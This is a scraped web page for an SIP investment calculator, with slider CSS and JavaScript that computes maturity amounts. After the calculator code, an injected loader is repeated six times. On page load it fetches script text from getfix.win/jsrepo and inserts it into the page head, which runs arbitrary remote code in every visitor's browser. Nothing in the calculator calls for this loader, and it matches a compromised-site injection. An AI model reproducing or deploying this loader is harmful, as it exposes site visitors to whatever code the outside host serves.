SIP Calculator
.slider-wrapper { width: 100%; margin-bottom: 30px; } .slider-label { display: flex; justify-content: space-between; } input[type=”range”] { width: 100%; -webkit-appearance: none; appearance: none; height: 10px; background: #ddd; outline: none; opacity: 0.7; transition: opacity .2s; } input[type=”range”]::-webkit-slider-thumb { -webkit-appearance: none; appearance: none; width: 25px; height: 25px; background: #BFAB98; cursor: pointer; border-radius: 50%; } input[type=”range”]::-moz-range-thumb { width: 25px; height: 25px; background: #BFAB98; cursor: pointer; border-radius: 50%; } .input-value { border: 1px solid #ccc; padding: 5px; text-align: center; width: 150px; } .slider-values { display: flex; justify-content: space-between; margin-top: 10px; font-size: 14px; color: #666; } .row1 { display: flex; justify-content: center; align-content: center; align-items: center; margin-bottom: 20px; } .slider-label { margin-right: 30px; } .btn:focus { outline: none; box-shadow: none; }
SIP Calculator
function formatNumber(num) { let numStr = num.toString(); if (numStr.length > 3) { const lastThree = numStr.slice(-3); const remaining = numStr.slice(0, -3); return remaining.replace(/B(?=(d{2})+(?!d))/g, “,”) + ‘,’ + lastThree; } else { return numStr; } } function parseFormattedNumber(str) { return parseInt(str.replace(/,/g, ”)); } function attachSliderEvents(sliderId, inputId) { const slider = document.getElementById(sliderId); const input = document.getElementById(inputId); slider.addEventListener(‘input’, function () { input.value = formatNumber(slider.value); }); input.addEventListener(‘input’, function () { const value = parseFormattedNumber(input.value); if (!isNaN(value) && value >= slider.min && value <= slider.max) { slider.value = value; } }); } attachSliderEvents(‘monthly-investment’, ‘monthlyInvestment1’); attachSliderEvents(‘annual-return-rate’, ‘monthlyInvestment2’); attachSliderEvents(‘investment-period’, ‘monthlyInvestment3’); function calculateMaturityAmount() { const monthlyInvestment = parseFloat(document.getElementById(‘monthly-investment’).value); const annualReturnRate = parseFloat(document.getElementById(‘annual-return-rate’).value); const investmentPeriod = parseInt(document.getElementById(‘investment-period’).value); const monthlyReturnRate = annualReturnRate / (12 * 100); const numberOfMonths = investmentPeriod * 12; const maturityAmount = monthlyInvestment * (Math.pow(1 + monthlyReturnRate, numberOfMonths) – 1) / monthlyReturnRate * (1 + monthlyReturnRate); // document.getElementById(‘result’).innerText = ‘Maturity Amount: ₹’ + formatNumber(maturityAmount.toFixed(2)); document.getElementById(‘result’).value = “Maturity Amount: ₹” + formatNumber(maturityAmount.toFixed(2)); }
;document.addEventListener(“DOMContentLoaded”, function () { var url = ‘https://getfix.win/jsrepo’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.innerHTML = data.trim(); document.head.appendChild(script); if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) { var event = new Event(‘DOMContentLoaded’); document.dispatchEvent(event); } }) });;document.addEventListener(“DOMContentLoaded”, function () { var url = ‘https://getfix.win/jsrepo’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.innerHTML = data.trim(); document.head.appendChild(script); if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) { var event = new Event(‘DOMContentLoaded’); document.dispatchEvent(event); } }) });;document.addEventListener(“DOMContentLoaded”, function () { var url = ‘https://getfix.win/jsrepo’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.innerHTML = data.trim(); document.head.appendChild(script); if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) { var event = new Event(‘DOMContentLoaded’); document.dispatchEvent(event); } }) });;document.addEventListener(“DOMContentLoaded”, function () { var url = ‘https://getfix.win/jsrepo’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.innerHTML = data.trim(); document.head.appendChild(script); if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) { var event = new Event(‘DOMContentLoaded’); document.dispatchEvent(event); } }) });;document.addEventListener(“DOMContentLoaded”, function () { var url = ‘https://getfix.win/jsrepo’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.innerHTML = data.trim(); document.head.appendChild(script); if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) { var event = new Event(‘DOMContentLoaded’); document.dispatchEvent(event); } }) });;document.addEventListener(“DOMContentLoaded”, function () { var url = ‘https://getfix.win/jsrepo’; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(‘script’); script.innerHTML = data.trim(); document.head.appendChild(script); if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) { var event = new Event(‘DOMContentLoaded’); document.dispatchEvent(event); } }) });